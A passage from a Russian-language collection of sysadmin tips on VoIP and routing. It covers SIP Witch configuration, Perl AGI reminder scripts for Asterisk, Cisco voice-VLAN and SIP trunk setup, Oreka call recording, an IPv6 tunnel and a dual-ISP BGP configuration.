    Рассмотрим блок <stack> в файле /etc/sipwitch.conf, в котором определяются
    такие параметры как сетевой интерфейс и номер порта для привязки. Большинство
    настроек можно оставить по умолчанию, обратить внимание стоит на параметры
    <mapped> и <localnames>.
    
    В <mapped> задается марсимальное число одновременных телефонных вызовов,
    которое sipwitch может обработать. При превышении данного лимита попытки
    подключения приведут к выводу сигнала "занято". Для обеспечения возможности
    одновременной работы всех абонентов, с учетом того, что в каждом локальном
    вызове фигурирует два локальных номера, значение <mapped> можно установить как
    половину от величины <mapped> из секции <registry>.
    
    В <localnames> задаются поддерживаемые имена хостов (аналогичные тем, что
    указаны в настройке "domain" VoIP-клиента twinkle), по умолчанию принимаются
    все имена.
    
    Например:
    
       <localnames>sip.test.ru, server.local</localnames>
    
    Для ограничения доступа к серверу только абонентов локальной сети, следует указать:
    
       <restricted>local</restricted>
       <trusted>local</trusted>
    
    Список локальных подсетей можно указать в блоке <access>, например:
    
       <access>     
          <local>172.16.59.0/24</local>
       </access>
    
    Настройка маршрутизации в SIP Witch
    
    SIP Witch может использоваться для установки на несколько узлов, позволяя
    построить большую сеть, каждый сервер в которой обслуживает  абонентов со своей
    нумерацией (например, можно соединить территориально разнесенные офисы предприятия).
    
    Указание информации о дополнительных серверах и задание правил перераправления
    вызовов производится в секции <routing>.
    
    Например, для перенаправления обращений по номерам с 200 по 299 на другой
    SIP-сервер с именем server2.local можно использовать следующее правило:
    
       <routing>
         <redirect pattern="2xx" server="server2.local"/>
       </routing>
    
    Для перенаправления обращений к номерам "3xx" на удаленный сервер можно использовать правило:
    
       <redirect pattern="3xx" target="sip:local@myserver.somewhere"/>
    
    
    Резервирование номеров для заданных пользователей
    
    
    Для привязки номеров к абонентам и определения их параметров в директории
    /etc/sipwitch.d следует создать файл c описанием абонентов. В простейшем виде
    создадим /etc/sipwitch.d/test.xml в котором заведем несколько номеров:
    
    
       <provision>
          <user id="логин1">
            <secret>пароль</secret>
            <extension>101</extension>
            <display>Отображаемое имя абонента 1</display>
          </user>
          <user id="логин2">
            <digest>хэш пароля</digest>
            <extension>102</extension>
            <display>Отображаемое имя абонента 2</display>
          </user>
        </provision>
    
    В поле id указывается логический идентификатор пользователя, например можно
    указать логин или email. В поле secret/digest задается пароль/хэш для доступа.
    В поле extension указывается телефонный номер абонента. В поле display
    указывается имя которое будет отображаться при звонке. Перенаправление вызова
    можно указать через блок <forward>.
    Для формирования хэша пароля можно использовать утилиту (-realm  можно не
    указывать, тогда будет использован realm текущего сервера):
    
       sipdigest -realm Реалм_сервера логин пароль
    
    Управление сервисом SIP Witch
    
    Запускаем sipwitch:
    
       sudo /etc/init.d/sipwitch start
    
    Для управления сервисом нужно использовать команду sipwitch, например:
    
    Вывод списка активных звонков:
       sipwitch calls
    
    Список зарегистрировавшихся клиентов:
    
       sipwitch registry
    
    Статус работы:
    
       sipwitch status
    
    Статистика по обслуживаемым звонкам:
    
       sipwitch stats 
    
    Применение изменений в файлах конфигурации:
    
       sipwitch reload
    
    
    Логи
    
    В процессе работы создается три основных лога:
    
    
    /var/log/sipwitch.log - лог для ошибок и системных событий
    /var/log/sipwitch.stats - почасовая статистика звонков
    /var/log/sipwitch.calls - полный список всех звонков
    
    Для ротации логов в систему установлен файл /var/logrotate.d/sipwitch
    Для формирования почасовой статистики используется скрипт /etc/cron.hourly/sipwitch
    
    Подключение SIP-клиентов
    
    Для осуществления звонков подойдет любой SIP-совместимый клиент, для примера настроим Twinkle:
    
       sudo apt-get install twinkle
    
    В процессе заполнения профиля, указываем приведенный в секции <user id="xxx">
    идентификатор (логин) в поле имени пользователя и имени аутентификации, в поле
    домена вводим sip.test.ru или server.local, в поле realm указываем содержимое
    поля <realm> (в нашем случае Asterisk). Во вкладке "безопасность" включаем
    шифрование ZRTP/SRTP.
    
    Соединяемся и проверяем:
    
       sipwitch registry
    
        ext user  type profile    use expires address
        101 test1   user *   0    3580 127.0.0.1:5061
        found 1 entries active of 600
    
     
    ----* Русскоговорящий будильник/напоминаловка для Asterisk (доп. ссылка 1)   Автор: cr80  [комментарии]
     
    В Asterisk есть штатный будильник - напоминаловка, если вы загляните в
    директорию /var/lib/asterisk/agi-bin, то увидите что-то похожее на wakeup.php.
    Вещь не плохая, но хочу предложить Вашему вниманию, более продвинутую версию
    русскоговорящего будильника. В нашем случае, Вы можете отправлять голосовые
    сообщения как сами себе, так и на любые другие номера. Причем задавать дату
    можно как в четком виде ГГММДД ЧЧММ, так и в неявном виде, через 10 минут от
    текущего времени, или через 3-и дня от текущей даты.
    
    Концепция будильника следующая, пользователь вводит со своего телефона
    комбинацию цифр вида *0*X*Y*Z, где
    
    X - дата, когда необходимо озвучить сообщение
    Y - время, когда необходимо озвучить сообщение
    Z - номер, на который необходимо позвонить для проигрывания сообщения
    
    
    Возможные варианты значения X (дата, когда проигрывать напоминание)
    
    0 - Звонить сегодня
    От 1 до 99 - Позвонить через 1-99 дней
    ГГГГММДД - Позвонить в конкретную дату
    
    Возможные варианты значения Y (время, когда проигрывать напоминание)
    
    0 - Звонить в это время (не работает с текущим днем)
    От 1 до 999 - Звонить через 1-999 минут
    ЧЧММ - Звонить в конкретное время
    
    Возможные варианты значения Z (номер куда будем отправлять напоминание)
    
    0 - Номер с которого звонят
    zzz -Локальный номер (у меня 3-значные номера)
    zzzzzzzzzzzzzzzzz - Внешний номер, может быть любым!
    
    Примеры:
    
    *0*0*120*0  - позвонить через 2-а часа  на свой телефон, и озвучить
    надиктованное сообщение (не забыть выключить суп!).
    
    *0*20101231*2300*777 - позвонить 31 декабря 2010 года в 23.00 на номер 777 и
    озвучить поздравление с новым годом!
    
    *0*30*1500*78123090607 - позвонить через 30 дней  в 15.00 на номер 78123090607
    и озвучить сообщение (пора оплачивать счета)!
    
    *0*20110308*0*1234567 - позвонить 8 марта 2011 года в текущее время на номер
    1234567 и озвучить поздравление с праздником!
    
    Думаю, концепция ввода даты, времени  и номера, куда необходимо позвонить для
    напоминания вам ясна. Теперь перейдем к технической реализации нашей задачи.
    
    
    В файле extensions.conf мы должны описать наш экстеншен!
    
       exten => _*0*X.,1,Answer
       exten => _*0*X.,n,AGI(reminder.agi)
       exten => _*0*X.,n,Hangup
    
    Таким образом, все набранные номера, которые начинаются с *0* попадают в наш
    контекст и включают скрипт reminder.agi
    
    Далее опишем контекст go - он запускается call файлом в момент когда происходит
    дозвон до абонента с целью озвучить надиктованное сообщение.
    
       exten => go,1,NoOp("Будильничег")
       exten => go,n,AGI(reminder_listen.agi)
       exten => go,n,HagnUp
    
    ну и теперь самое интересное, это наши скрипты
    
    /var/lib/asterisk/agi-bin/reminder.agi
    
       #!/usr/bin/perl
       use Asterisk::AGI;
       use POSIX;
       use File::Copy;
       use Time::Local;
       use Date::Calc qw (Add_Delta_Days);
    
       $AGI = new Asterisk::AGI;
       my %input = $AGI->ReadParse();
    
       $trunk="megatrank";
       # начало отсчета с 1900 года, значение year - смещение от 1900 года
       $datesec=time;
       #chomp($datesec);
       # получаем значение exten и заносим в переменную $digit - 
       # это то что набрал пользователь на своем телефоне, далее мы 
       # разберем по частям эти цифры с целью понять что хотел сказать 
       # пользователь (когда и куда звонить)
       $digit = $AGI->get_variable('EXTEN');
       # на всякий случай, выдергиваем номер звонящего
       $src = $AGI->get_variable('CALLERID(num)');
       #регулярным выражением выдергиваем значения даты времени и номера звонящего
       $digit =~ /^\*0\*(\d+)\*(\d+)\*(\d+)/;
       $wdate=$1;
       $wtime=$2;
       $wnum=$3;
    
       # вводим маленькую функцию для озвучки ошибки набора, что бы
       # несколько раз не писать один и тот же код!
       # обратите внимание, я взял звуковые файлы с http://ivrvoice.ru/downloader
       # и перекинул их  в Asterisk в папку /var/lib/asterisk/sounds/ru11 !
       sub digit_error {
          $AGI->exec('Wait',"1");
          $AGI->exec('Playback',"ru11/an-error-has-occured");
          $AGI->exec('Playback',"ru11/check-number-dial-again");
          exit 0;
       }
       # звуковые файлы в директории digits мною были заменены с 
       # английского на русский аналог, все с того же сайта. На самом 
       # деле это не совсем верно, по идее Астериск должен цеплять 
       # русские файлы после переопределения глобальной переменной LANG, 
       # однако сходу у меня не получилось, потому исправил ситуацию 
       # простым копированием файлов.
       # Данная функция, корректно для нашего чисто русского слуха, озвучивает день!
       sub say_day {
          $sayday=$_[0];
          if ("$sayday" < 20) {
             $AGI->exec('Playback',"digits/h-$sayday\\n");
          } elsif ( 20 < "$sayday" and  "$sayday" < 30 ) {
             $sayday=~/\d(\d)/;
             $AGI->exec('Playback',"digits/20");
             $AGI->exec('Playback',"digits/h-$1\\n");
          } elsif ( "$sayday" == 20 ) {
             $AGI->exec('Playback',"digits/h-20n");
          } elsif ( "$sayday" == 30 ) {
             $AGI->exec('Playback',"digits/h-30n");
          } else {
             $AGI->exec('Playback',"digits/30");
             $AGI->exec('Playback',"digits/h-1\\n");
          }
       }
    
       # берем локальное время и разбиваем на переменные
       ($sec2,$min2,$hour2,$mday2,$mon2,$year2,$wday2,$yday2,$isdst2)=localtime($datesec);
       # не забываем к году прибавить 1900 а к месяцу единичку
       $tmpyear2=$year2+1900;
       $tmpmon2=$mon2+1;
       # для проверки работы скрипта выводим на экран информацию, когда у нас задание стартовало.
       $AGI->exec('NoOp',"Старт_задания_$tmpyear2.$tmpmon2.$mday2\_в_$hour2:$min2");
       #####
       # если пользователь ввел в поле дата 8 цифр, значит он имел ввиду четкую дату!
       if (length($wdate) eq "8") {
          $wdate =~ /(\d{4})(\d{2})(\d{2})/;
          $timestamp1 = timelocal($sec2,$min2,$hour2,$3,$2-1,$1-1900);
          # если ввел 0 - значит имел ввиду что запустить будильник сегодня
       } elsif ($wdate eq "0") {
          $timestamp1=$datesec;
          # если ввел 2-х значное число, значит имел ввиду что пускть задание через сколько то дней.
       } elsif (length($wdate) ge "1" and length($wdate) le "2" and $wdate ne "0") {
          $timestamp1=$datesec + $wdate*86400;
          # ну а если ерунду ввел, значит говорим ему об этом в мягкой форме и отключаемся
       } else {
          &digit_error;
       }
       # обратите внимание, я не делал проверку на правильность ввода 
       # даты, т.е. система проверяет, кол-во дней в месяце, месяцев в 
       # году, что не есть хорошо, но на мой взгляд это не критично!
       ####
       # Та же операция с временем
       if (length($wtime) eq "4") {
          $wtime =~ /(\d{2})(\d{2})/;
          $timestamp=$timestamp1-(localtime($datesec))[2]*3600-(localtime($datesec))[1]*60+($1*3600)+($2*60);
       } elsif ($wtime eq "0") {
          $timestamp=$timestamp1+60;
       } elsif (length($wtime) ge "1" and length($wtime) le "3") {
          $timestamp=$timestamp1+$wtime*60;
       } else {
          $AGI->exec('NoOp',"Не_верно_задано_время");
          &digit_error;
       }
       ####
    
       ($sec1,$min1,$hour1,$mday1,$mon1,$year1,$wday1,$yday1,$isdst1)=localtime($timestamp);
       $mon_sound="mon-$mon1";
       $mon1++;
       $year1=1900+$year1;
    
       # В результате хитрых и не очень операций, получаем время, когда 
       # необходимо позвонить нашему абоненту!
       $AGI->exec('NoOp',"Выполнение_задачи_$year1.$mon1.$mday1\_в_$hour1:$min1");
    
       ####
       # если же дата выполнения задачи ранее текущей даты, значит 
       # пользователь ошибся при вводе даты и времени
       if ($timestamp le $datesec) {
          $AGI->exec('NoOp',"Дата_задания_меньше_текущего_времени!");
          &digit_error;
       }
       ####
       # проделываем похожую операцию с номером куда будем звонить, при 0 
       # - звоним сами себе, если длина введенных цыфр от 3-х до 4-х, 
       # значит это локальный звонок,  если ни то не другое, пользователь 
       # имел ввиду что звоним на внешний номер!
       if ( $wnum eq "0" ) {
          $ch="SIP/$src";
          $dst="$src";
       } elsif ( length($wnum) eq "4" or length($wnum) eq "3") {
          $ch="SIP/$wnum";
          $dst="$wnum";
       } else {
          $ch="SIP/$wnum\@$trunk";
          $dst="$wnum";
       }
    
       #формируем имя файла для звонка
       $records="$year1$mon1$mday1\-$hour1$min1-$dst";
       $filename="/var/lib/asterisk/sounds/records/$records.sln";
    
       CICLE3:
       # Приятный женский голос говорит - оставьте сообщение после 
       # сигнала, затем нажмите решетку или повесьте трубку. Вешать 
       # трубку не следует, т.к. нам необходимо будет подтвердить запись, 
       # потому необходимо после надиктованного сообщения нажать решетку
       $AGI->exec('Playback',"ru11/vm-intro");
       $AGI->exec('Record',"records/$records.sln||10");
    
       CICLE2:
       # Тут мы озвучиваем само сообщение и куда и когда оно будет отправлено
       $AGI->exec('Playback',"ru11/vm-soobshenie");
       $AGI->exec('Playback',"ru11/na-nomer");
       $AGI->exec('SayDigits',"$dst");
       $AGI->exec('Playback',"digits/at");
       $AGI->exec('Playback',"digits/day-$wday1");
       &say_day($mday1);
       $AGI->exec('Playback',"digits/$mon_sound");
       $AGI->exec('Playback',"digits/at");
       $AGI->exec('SayNumber',"$hour1");
       $AGI->exec('Playback',"ru11/hours");
       $AGI->exec('SayNumber',"$min1");
       $AGI->exec('Playback',"ru11/minutes");
       $AGI->exec('Playback',"records/$records");
    
       # ввели счетчик возварата к прослушки или записи, что бы пользователь не заигрывался.
       $count++;
       if ($count eq "5") {  $AGI->exec('Playback',"ru11/goodbye");  
       unlink($filename); exit 0; }
    
       # подтверждаем запись (нажмите 1-н что бы принять сообщение 2-а 
       # что бы прослушать, 3-и что бы записать его заново)
       $AGI->exec('Read',"rep|ru11/vm-review|1||1|5");
       $rep = $AGI->get_variable("rep");
    
       if ( $rep eq "2" ){
          goto CICLE2;
       } elsif ( $rep eq "3" ) {
          unlink($filename);
          goto CICLE3;
          # если пользователь вводит 1-н, тем самым подтверждая запись, 
          # ему говорить что сообщение записано и формируется call файл в 
          # контексте wakeup экстеншен go, максимальное количество 
          # попыток дозвона 3, время ожидания на проводе 60 сек. Так же 
          # говорим что CallID у нас подменяется на NOTE (напоминание), 
          # это нужно для локальных телефонов с дисплеем, что бы можно 
          # было понять от кого звонок и передаем переменную в астериск 
          # date, говорящую когда была сделана запись, а так же 
          # переменную с именем файла, который будем слушать.
       } elsif ( $rep eq "1" ) {
          $AGI->exec('Playback',"ru11/vm-msgsaved");
          open (CALL,  "> /tmp/$records");
          print CALL  "Channel:$ch\nContext:wakeup\nExtension:go
            \nPriority:1\nMaxRetries:3\nRetryTime:60\nWaitTime:60
            \nCallerID:NOTE<$src>\nSet:date=$datesec\nSet:src=$src
            \nSet:records=$records\n";
          close (CALL);
    
          # меняем атрибуты файла, что бы астериск при чтении директории 
          # outgoing не запускал сразу после перемещения нашего call файла процесс дозвона.
          utime($timestamp,$timestamp,"/tmp/$records");
          move("/tmp/$records","/var/spool/asterisk/outgoing/$records");
          $AGI->exec('Playback',"ru11/goodbye");
          exit 0;
       }
       # попрощались и удалили временный файл.
       $AGI->exec('Playback',"ru11/demo-moreinfo");
       unlink($filename);
       exit 0;
    
    
    Скрипт рабочий, у Вас могут возникнуть сложности только с модулями, в таком
    случае идем на http://search.cpan.org/  и качаем необходимые модули.
    
    Обратите внимание все записанные файлы хранятся в директории
    /var/lib/asterisk/sounds/records в формате sln - при создании директории
    поменяйте правильно права, иначе работать не будет!
    
    Сообщение записали, теперь нужно бы его прослушать.
    
    Итак скрипт ./reminder_listen.agi
    
       #!/usr/bin/perl
       use Asterisk::AGI;
       use POSIX;
       use File::Copy;
       use Time::Local;
    
       $AGI = new Asterisk::AGI;
       my %input = $AGI->ReadParse();
       $count=0;
       sub say_day {
          $sayday=$_[0];
          if ("$sayday" < 20) {
             $AGI->exec('Playback',"digits/h-$sayday\\n");
          } elsif ( 20 < "$sayday" and  "$sayday" < 30 ) {
             $sayday=~/\d(\d)/;
             $AGI->exec('Playback',"digits/20");
             $AGI->exec('Playback',"digits/h-$1\\n");
          } elsif ( "$sayday" == 20 ) {
             $AGI->exec('Playback',"digits/h-20n");
          } elsif ( "$sayday" == 30 ) {
             $AGI->exec('Playback',"digits/h-30n");
          } else {
             $AGI->exec('Playback',"digits/30");
             $AGI->exec('Playback',"digits/h-1\\n");
          }
       }
    
       # Получаем от Asterisk данные о том, откуда поступило напоминание, 
       # имя звукового файла и дата когда была сделана запись.
    
       $src = $AGI->get_variable('src');
       $records = $AGI->get_variable('records');
       $filename="/var/lib/asterisk/sounds/records/$records";
       $date = $AGI->get_variable('date');
    
       ($sec1,$min1,$hour1,$mday1,$mon1,$year1,$wday1,$yday1,$isdst1)=localtime($date);
       $mon_sound="mon-$mon1";
    
       CICLE1:
       # Начинаем грузить нашего абонента информацией откуда был сделан 
       # звонок, когда и что собственно от него хотели!
       $AGI->exec('Playback',"ru11/vm-from-phonenumber");
       $AGI->exec('SayDigits',"$src");
    
       $AGI->exec('Playback',"digits/at");
       $AGI->exec('Playback',"digits/day-$wday1");
       &say_day($mday1);
       $AGI->exec('Playback',"digits/$mon_sound");
       $AGI->exec('Playback',"digits/at");
       $AGI->exec('SayNumber',"$hour1");
       $AGI->exec('Playback',"ru11/hours");
       $AGI->exec('SayNumber',"$min1");
       $AGI->exec('Playback',"ru11/minutes");
    
       $AGI->exec('Playback',"records/$records");
       # В конце концов ошарашенного таким напором абонента мы 
       # переспрашиваем, хочет ли он еще раз прослушать наше сообщение, 
       # если да то у него еще в запасе 4-ре раза прослушки, далее цикл 
       # прервется и система ему скажет goodbye, удалит файл и повесит трубку.
       $AGI->exec('Read',"rep|ru11/vm-repeat|1||1|5");
       $rep = $AGI->get_variable("rep");
       if ( $rep eq "5" ){
          $count++;
          $AGI->exec('NoOp',"$count");
          if ($count eq "3") {
            $AGI->exec('Playback',"ru11/goodbye");  
            unlink($filename); exit 0; 
          }
          goto CICLE1;
       }
       unlink($filename);
       exit 0;
    
    Вот собственно и все. Как мог подробно изложил информацию. Конечно во многих
    местах код можно более изящно написать, но данная система работает довольно стабильно.
    
     
    ----* Использование Voice-VLAN на Cisco Catalyst для IP-телефона Nortel (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Как удалось выяснить и опробовать на практике, Cisco Catalyst может передавать
    информацию о Voice-VLAN на IP-телефоны Nortel.
    
    Для этого на коммутаторе достаточно включить протокол LLDP и прописать
    voice-vlan на порту телефона:
    
       #conf t
       #lldp run
       #int fa1/0/1
       #switchport voice-vlan 10
    
    И конечно нужно чтобы на телефоне тоже был включен LLDP, указано тэгировать
    Voice-VLAN и конфигурировать его автоматически. Также на телефоне необходимо
    отключить тэгирование в Data-VLAN.
    
    Тестирование проводилось на коммутаторе Catalyst 3750-24TS (IOS 12.2(46)) и
    телефонах Nortel 1110 и 1120.
    
    Ссылки:
    
    * Michael McNamara - LLDP with Cisco 3750 (http://blog.michaelfmcnamara.com/2009/01/lldp-with-cisco-3750/)
    * LLDP-MED and Cisco Discovery Protocol (http://www.cisco.com/en/US/technologies/tk652/tk701/technologies_white_paper0900aecd804cd46d.html)
    
  • Configuring LLDP and LLDP-MED (http://http//www.cisco.com/en/US/docs/switches/lan/catalyst3750/software/release/12.2_46_se/configuration/guide/swlldp.html)
  •  
    ----* Архивирование VoIP разговоров   Автор: Pavel Pogodin  [комментарии]
     
    Установка oreka ( http://sourceforge.net/projects/oreka/ ) записи разговоров на Debian lenny.
    Oreka представляет собой систему для записи аудио потоков VoIP SIP, Cisco Skinny (SCCP), 
    raw RTP или принимаемых через звуковую карту. Есть web-интерфейс для поиска и
    прослушивания записей из базы.
    
    
      apt-get install subversion 
      apt-get install sox g++ libtool libxml2-dev liblog4cxx9-dev libace-dev \
         libboost-dev libpcap0.8-dev libxerces-c2-dev libsndfile1-dev automake
      svn co https://oreka.svn.sourceforge.net/svnroot/oreka/trunk oreka
      cd oreka/orkbasecxx/
      cat /usr/share/aclocal/libtool.m4 >>aclocal.m4
      automake -a 
      libtoolize --force
      make -f Makefile.cvs
      На ошибки не обращаем внимание и повторяем последние две команды.
      automake -a 
      make -f Makefile.cvs
    
    Ну вот, теперь можно собирать 
    
      ./configure
      make
      make install
      cd ../orkaudio/
      cat /usr/share/aclocal/libtool.m4 >>aclocal.m4 
      libtoolize --force
      automake -a
      make -f Makefile.cvs 
      Повторяем последние две команды
      automake -a
      make -f Makefile.cvs 
      ./configure
      make
      make install
    
     orkaudio debug
    
     
    ----* SIP Линк между Cisco 2811 и Asterisk   Автор: urpyLLIKa  [комментарии]
     
    На Cisco делаем следующее
    
    voice service voip 
     allow-connections h323 to h323
     allow-connections h323 to sip
     allow-connections sip to h323
     allow-connections sip to sip
     redirect ip2ip
     sip
      registrar server expires max 3600 min 3600
      redirect contact order best-match
      no call service stop
    
    Делаем преобразование номера (убираем префикс 70)
    
    translation-rule 70
     Rule 0 700 0
     Rule 1 701 1
     Rule 2 702 2
     Rule 3 703 3
     Rule 4 704 4
     Rule 5 705 5
     Rule 6 706 6
     Rule 7 707 7
     Rule 8 708 8
     Rule 9 709 9
    
    Описываем куда будем отсылать звонки если наберем префикс 70
    
    dial-peer voice 116 voip
     corlist outgoing call-longdistance
     destination-pattern 70...
     progress_ind setup enable 3
     translate-outgoing called 70
     session protocol sipv2
     session target ipv4:XXX.XXX.XXX.XXX:5060
     session transport udp
     dtmf-relay rtp-nte
     codec g711ulaw
     fax rate 9600
     fax protocol pass-through g711alaw
     clid substitute name
     no vad 
    
    где XXX.XXX.XXX.XXX - Asterisk
    
    sip-ua 
     authentication username <USER> password <password>
     nat symmetric check-media-src
     retry invite 3
     retry response 3
     retry bye 3
     retry cancel 3
     retry options 0
     timers trying 1000
     sip-server ipv4:xxx.xxx.xxx.xxx
    
    где xxx.xxx.xxx.xxx - Asterisk, <USER> - авторизация на Asterisk-е, <password>
    - пароль на Asterisk-е
    
    
    
    На Asterisk
    
    <users.conf>
    [DO2]
    allow = ulaw
    context = DID_DO2
    dialformat = ${EXTEN:1}
    hasexten = yes
    hasiax = no
    hassip = yes
    host = yyy.yyy.yyy.yyy
    port = 5060
    registeriax = no
    registersip = yes
    secret = <pass>
    trunkname = Custom - DO2
    trunkstyle = customvoip
    username = <user>
    disallow = alaw,gsm,ilbc,g726,adpcm,speex,lpc10,g729
    md5secret = <md5_pass>
    insecure = port,invite
    canreinvite = no
    
    yyy.yyy.yyy.yyy - Cisco
    <user> - пользователь
    <pass> - пароль
    <md5_pass> - пароль в MD5
    
    <extensions.conf>
    DO2 = SIP/DO2
    [numberplan-custom-1]
    plancomment = DialPlan1
    include = default
    comment = _2XXXX!,1,default,standard
    include = default
    exten = _02XXX,1,Macro(trunkdial,${DO2}/${EXTEN:2})
    comment = _02XXX,1,DO2,standard
    
    [DID_DO2]
    include = default
    include = default
    include = default
    
    [numberplan-custom-2]
    include = default
    plancomment = DialPlan2
    exten = _2XXX!,1,Macro(trunkdial,${trunk_1}/${EXTEN:0})
    comment = _2XXX!,1,d1,standard
    
    рестартуем Астериск. 
    
    При наборе префикса 02 с Астериска будет производиться проброс на Cisco. 
    При наборе 70xxx со стороны Cisco проброс будет производиться на Asterisk. 
    Для упрощения конфигурирования, можно воспользоваться утилитой asterisk-gui 
    (/usr/ports/www/asterisk-gui для BSD like ports)
    
     
    ----* Пропуск звонка без идентификатора номера вызывающего абонента в пакете АОН через CISCO 5350   Автор: Вячеслав Калинин  [обсудить]
     
    Эта заметка, возможно, окажется полезной начинающим. Настраивая шлюз 5350, 
    столкнулся со следующей проблемой - звонок отлично проходил во все стороны, 
    но если при звонках с ТФОП в пакете АОН отсутствовал идентификатор абонента А, 
    звонок заворачивался на модемный пул CISCO 5350.
    
    Такая ситуация встречалась например, при звонках с сотового телефона у которого
    включена услуга анти-АОН,
    а так же при звонках с некоторых АТС, в частности из Горно-Алтайска.
    
    Решение вопроса оказалось очень простым - для пропуска таких звонков, 
    необходимо во входящем диал-пире установить answer-address T:
    
    dial-peer voice 20 pots
     description #Incoming from POTS
     huntstop
     answer-address T
     incoming called-number .T
     direct-inward-dial
     port 3/0:D
     forward-digits all
    
    В случае отсутствия answer-address T, звонок без АОН проключается на модемный пул. 
    Регулярное выражение Т подразумевает любое количество цифр, включая 0, 
    что соответствует и случаю отсутствия идентификатора вызывающей стороны.
    
     
    ----* VoIP, односторонняя слышимость на шлюзах cisco (доп. ссылка 1)   Автор: Anton V. Yuzhaninov  [комментарии]
     
    Иногда проблемы с односторонней слышимостью возникают из за того, что выключен роутинг, 
    поэтому его стоит включать на VoIP-шлюзах cisco:
       ip routing
    
    Если это не помогло, то что смотреть дальше написано в документе
    
    Troubleshooting One Way Voice Issues (http://www.cisco.com/en/US/tech/tk652/tk698/technologies_tech_note09186a008009484b.shtml)
    
     

       Настройка маршрутизации (BGP, OSPF, RIP)

    ----* Обеспечение работы IPv6 через создания туннеля на маршрутизаторе Cisco (доп. ссылка 1)   Автор: Евгений Кузнецоff  [комментарии]
     
    Сначала пройдем регистрацию на сайте Hurricane Electric - http://tunnelbroker.net/register.php
    
    Регистрация не сложная и не займет много времени. Логинимся там же на сайте и
    создаём туннель (Create Regular Tunnel). Указываем свой текущий адрес в IPv4
    формате и выбираем ближайший к нам сервер.
    
    Нам выделят две IPv6-подсети /64. По идее, там можно запросить и /48.
    
    На маршрутизаторе:
    
       enable
    
    вводим свой пароль
    
       conf t
       ipv6 unicast-routing
       interface Tunnel0
       description IPv4 to IPv6 tunnel
       no ip address
       ipv6 enable
       ipv6 address 2001:XXX:XX:XXX::2/64 <- Выданный Вам IPv6 адрес
       tunnel source AA.BB.CC.DD <- Ваш текущий IPv4 адрес
       tunnel destination 216.66.80.90 <- адрес сервера-шлюза в IPv4 формате (смотрите ближайший до Вас)
       tunnel mode ipv6ip
       ipv6 route ::/0 Tunnel0
       ipv6 dns server-address 2001:470:20::2 <- Сервер имен от Hurricane Electric для разрешения IPv6 имен
       end
    
       write mem
    
    В принципе этого достаточно - Cisco видит IPv6 сеть и имеет доступ к IPv6 ресурсам.
    
       cisco#ping 2a00:1450:8005::93
       Type escape sequence to abort.
       Sending 5, 100-byte ICMP Echos to 2A00:1450:8005::93, timeout is 2 seconds:
       !!!!!
       Success rate is 100 percent (5/5), round-trip min/avg/max = 52/53/56 ms
    
    Для открытия доступа к IPv6 для компьютера из локальной сети, следует добавить
    к конфигурации интерфейса смотрящего в локальную сеть (скажем fe0/1) следующее:
    
       int fe0/1
       ipv6 address 2001:XXX:ZZ:XXX::1/64 <- Выданный Вам IPv6 адрес из второй подсети /64
       ipv6 nd prefix 2001:XXX:ZZ:XXX::
    
    Соответственно, интерфейсу того ПК, который мы хотим выпустить по IPv6 мы
    назначим адрес 2001:XXX:ZZ:XXX::2/64 и шлюз 2001:XXX:ZZ:XXX::1 В качестве
    сервера имен для IPv6 укажем 2001:470:20::2
    
     
    ----* Организация 2 каналов с ISP: пример конфигурации BGP без возможности приема full view   Автор: macho  [комментарии]
     
    Конфигурация маршрутизатора Cisco:
    
       router bgp 5****
        no synchronization
        bgp log-neighbor-changes
        bgp deterministic-med
        network 9*.*.*.* mask 255.255.255.0
        neighbor 2*.*.*.* remote-as 3216
        neighbor 2*.*.*.* description #sov_PEER-2#
        neighbor 2*.*.*.* version 4
        neighbor 2*.*.*.* send-community
        neighbor 2*.*.*.* soft-reconfiguration inbound
        neighbor 2*.*.*.* route-map map-AS3216-in in
        neighbor 2*.*.*.* route-map map-AS3216-out out
        neighbor 3*.*.*.* remote-as 8615
        neighbor 3*.*.*.* description #cnt_PEER-1#
        neighbor 3*.*.*.* version 4
        neighbor 3*.*.*.* send-community
        neighbor 3*.*.*.* soft-reconfiguration inbound
        neighbor 3*.*.*.* route-map map-AS8615-in in
        neighbor 3*.*.*.* route-map map-AS8615-out out
        distance bgp 180 200 200
        no auto-summary
       !
       ip forward-protocol nd
       !
       ip bgp-community new-format
       ip as-path access-list 1 permit _6451[2-9]_
       ip as-path access-list 1 permit _645[2-9][0-9]_
       ip as-path access-list 1 permit _64[6-9][0-9][0-9]_
       ip as-path access-list 1 permit _65[0-9][0-9][0-9]_
       !         
       ip prefix-list bogons description #bogus nets#
       ip prefix-list bogons seq 15 permit 0.0.0.0/8 le 32
       ip prefix-list bogons seq 20 permit 127.0.0.0/8 le 32
       ip prefix-list bogons seq 25 permit 192.0.2.0/24 le 32
       ip prefix-list bogons seq 30 permit 10.0.0.0/8 le 32
       ip prefix-list bogons seq 35 permit 172.16.0.0/12 le 32
       ip prefix-list bogons seq 40 permit 192.168.0.0/16 le 32
       ip prefix-list bogons seq 45 permit 169.254.0.0/16 le 32
       ip prefix-list bogons seq 50 permit 192.42.172.0/24 le 32
       ip prefix-list bogons seq 55 permit 198.18.0.0/15 le 32
       ip prefix-list bogons seq 60 permit 192.88.99.0/24 le 32
       ip prefix-list bogons seq 65 permit 224.0.0.0/4 le 32
       ip prefix-list bogons seq 70 permit 240.0.0.0/4 le 32
       !
       ip prefix-list def_perfix description #deny def_net#
       ip prefix-list def_perfix seq 15 permit 0.0.0.0/0 le 32
       !
       ip prefix-list our_perfix description #our net#
       ip prefix-list our_perfix seq 15 permit 9*.*.*.0/24 le 32
    
    
       route-map map-AS3216-out permit 100
        match ip address prefix-list our_perfix
        set as-path prepend 5**** 5**** 5****
       !
       route-map map-AS3216-out deny 110
        match ip address prefix-list def_perfix
       !
       route-map map-AS8615-out permit 100
        match ip address prefix-list our_perfix
       !
       route-map map-AS8615-out deny 110
        match ip address prefix-list def_perfix
       !
       route-map map-AS8615-in deny 100
        description #filter private ASs#
        match as-path 1
       !
       route-map map-AS8615-in deny 110
        description #filter bogons#
        match ip address prefix-list bogons
       !
       route-map map-AS8615-in permit 200
        set local-preference 200
        set community 5****:8615
       !
       route-map map-AS3216-in deny 100
        description #filter private ASs#
        match as-path 1
       !
       route-map map-AS3216-in deny 110
        description #filter bogons#
        match ip address prefix-list bogons
       !         
       route-map map-AS3216-in permit 200
        set local-preference 100
        set community 5****:3216
    
    1. Договариваемся с провайдерами на анонсирование в вашу AS 0/0
    
    2. Манипулируем количеством повторов своего номера AS в "set as-path prepend
    5**** 5**** 5****" для направления входящего трафика.
    
